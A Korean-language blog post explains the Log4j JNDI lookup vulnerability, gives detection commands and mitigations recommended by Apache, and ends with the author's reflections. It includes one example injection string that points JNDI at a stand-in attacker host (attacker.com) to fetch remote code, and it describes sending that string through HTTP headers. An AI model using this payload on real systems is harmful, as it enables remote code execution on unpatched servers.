Log4j는
java기반 시스템의 log를 남겨주는 여러 가지 로그 프레임워크들 중 하나이다.
전 세계의 많은 서비스들이 이를 통해서 logging 유틸리티로 사용하고 있다.
Log4j의 기능 중 lookups에 취약점이 발견이 되었고, 이를 통해 공격이 이루어지고 있다.
lookups & JNDI
Log4j는 단순히 system.out.println(log);와 같이 로깅을 하는 것 대신,
log.info("Log: {}", arg)와 같은 방식으로 로그를 찍는다.
{}를 통해 데이터를 매핑하는 형태로 우리가 원하는 포맷으로 로그를 남길 수가 있다.
추가로 Lookups 기능을 사용하면 더 편리하게 원하는 데이터 매핑이 가능하다.
예시로 Kubernetes lookup기능 통해 log.info("Name:{accountName}")와 같은 식으로
로깅을 하면 "Name:Chanhokim"이라고 나올 것이다.
이를 통해서 로깅을 통해서 구문들이 실행이 될 수 있다는 것이다.
해당 lookups은 크게 소용이 없을 것이다.
그러나 이 중에서 JNDI Lookups을 사용하면 공격을 할 수가 있다.
JNDI(Java Naming and Directory Interface)는 Naming 서비스를 지원하는
Naming 서버에 자원을 등록하여 다른 애플리케이션에서 사용할 수 있도록 공개를 하고,
Naming 서버에 등록되어 있는 자원을 찾아와서 이용할 수 있게 한다.
.
.
즉 이것은 공격자 서버에 있는 자원을 요청 후 실행이 가능하다는 것이다.
추가로 JNDI Lookups를 통한 취약점은 이전에 발표가 된 적이 있다.
2016 Black hat에서 해당 취약점에 대해 나왔는데,
발표자들은 Attacker가 JNDI lookup의 인자를 수정이 가능하면 RCE(Remote Code Excute)가 가능하다고 한다.
알다시피 우리는 직접 인자를 수정이 가능하다.
${jndi:ldap://attacker.com/rce}와 같은 데이터를 매핑을 통해서 수정이 가능하다.
이를 통해서 우리는 jndi 구문이 해당 서버에서 실행이 가능한 것을 알게 되었다.
실행을 하는 방법들은 다양하다.
해당 서버에서 로그를 남기는 방식에 따라서 취약코드를 넘기는 방식도 달라진다.
예를들어 로그를 아래와 같은 식으로 넘기면,
log.info("User Agent:{}",request.getHeader("X-Api-Version"));
공격자가 악의적으로 HTTP Header의 X-Api-Version 값을 해커의 자원(해커의 주소)으로 변경을 하면,
설정한 자원으로 요청을 보내게 되는 방식으로 이루어진다.
이는 X-Api-Version에 국한된 것이 아닌 userAgent와 같은 것에도 적용이 된다.
탐지방법
find / |grep log4j
dpkg - l |grep log4j
find / -name '*log4j*'
이 방법들 중 원하는 명령어를 사용해서 입력 시,
log4j-core-x.xx.jar 관련 파일이 있으면 버전을 확인 후
취약한 버전에 포함이 될 경우 조치를 해야만 한다.
해결방안
- Log4j 2.15.0 버전을 Upgrade (Java8 버전 이상 가능)
- Java7 버전을 이용하는 사용자는 Java 업그레이드 후 패치 가능
- Log4j 2.10.0 이상 사용시
- Java 인자에 시스템 속성을 추가하여 룩업기능 제거하기 -Dlog4j2.formatMsgNoLookups=true
- Java 환경 변수 혹은 시스템 변수로 LOG4J_FORMAT_MSGNO_LOOKUPS=ture 설정하기
- Log4j 2.7.0 ~ 2.14.1 사용 시
- Log 설정 파일에서 %m을 %m{nolookups},%msg{nolookups},%message{nolookups}으로 변경
- Log4j 2.0-Beta9 ~ 2.10.0 사용 시
- zip -q -d log4j-core-*.jar org/apache/logging/log4j2/core/lookup/JndiLookup.class
- 이를 통해서 JndiLookup 기능을 제거 하기
해당 내용들은 Apache사에서 권고한 방법들이다.
자세한 내용은 사이트에서 확인할 수 있다.
코드 패치
Apache는 취약점을 발생시킨 코드에 대해서 패치가 이루어졌다.
github를 통해서 확인을 해보면 많은 코드들이 추가가 된 것을 볼 수가 있다.
변경된 코드에는 허용되는 호스트, 클래스, 프로토콜만 사용이 가능하게 변경되어있다.
Log4j에 대한 나의 생각
Log4j는 다른 취약점들에 비해 다른 공격자들이 접근하기 쉬운 취약점이라는 생각이 든다.
딱히 긴 RCE를 작성을 해야 하는 것도 아니고 Java기반이라는 특성이 있는지라 공격 대상도 많다.
이는 해킹을 배운 사람들이 아니더라도 한 번씩 시도를 할 수 있는 취약점이고,
시도를 한 곳이 아직 패치를 진행하지 않은 곳이라면 정말로 해킹이 이루어질 수도 있다.
유지보수가 가능한 대기업이나 중견기업들은 이미 패치를 통해서 해당 취약점을 조치를 했겠지만,
유지보수가 가능하지 않은 작은 기업이나 회사들은 패치를 하지 못했을 가능성이 크다.
또한 해당 취약점의 제보는 최근에 이루어졌다고 하지만,
이를 이전부터 알고 해커들이 악용을 했을 수도 있다.
이 말은 즉슨 이전 로그를 확인을 해서 공격 여부를 알아내야 한다는 것이다.
아직은 이 취약점에 대한 큰 피해는 없는 것으로 알고 있는데,
이는 장기적으로 확인이 필요할 것 같다.
아쉬운 점은 해당 취약점은 이전에 Blackhat에서 JNDI Injection에 대한 언급을 하였지만,
Log4j에서는 정밀한 검토를 하지 않고 그냥 방치를 했다는 것이다.
이러한 크지 않은 점들이 지금의 큰 사태를 만들었다는 것이 보안을 공부하는 입장에서
깨닫게 되는 것이 많은 상황인 것 같다.
참고사이트:
Day 04. Using JNDI for Naming Services and Components – EJB In 21 Days ?
In today’s lesson, you will learn about JNDI (Java Naming and Directory Interface), one of the commonly used services in any J2EE component-based application. JNDI is a standard interface to naming and directory services for enterprise applications. JNDI
ejbvn.wordpress.com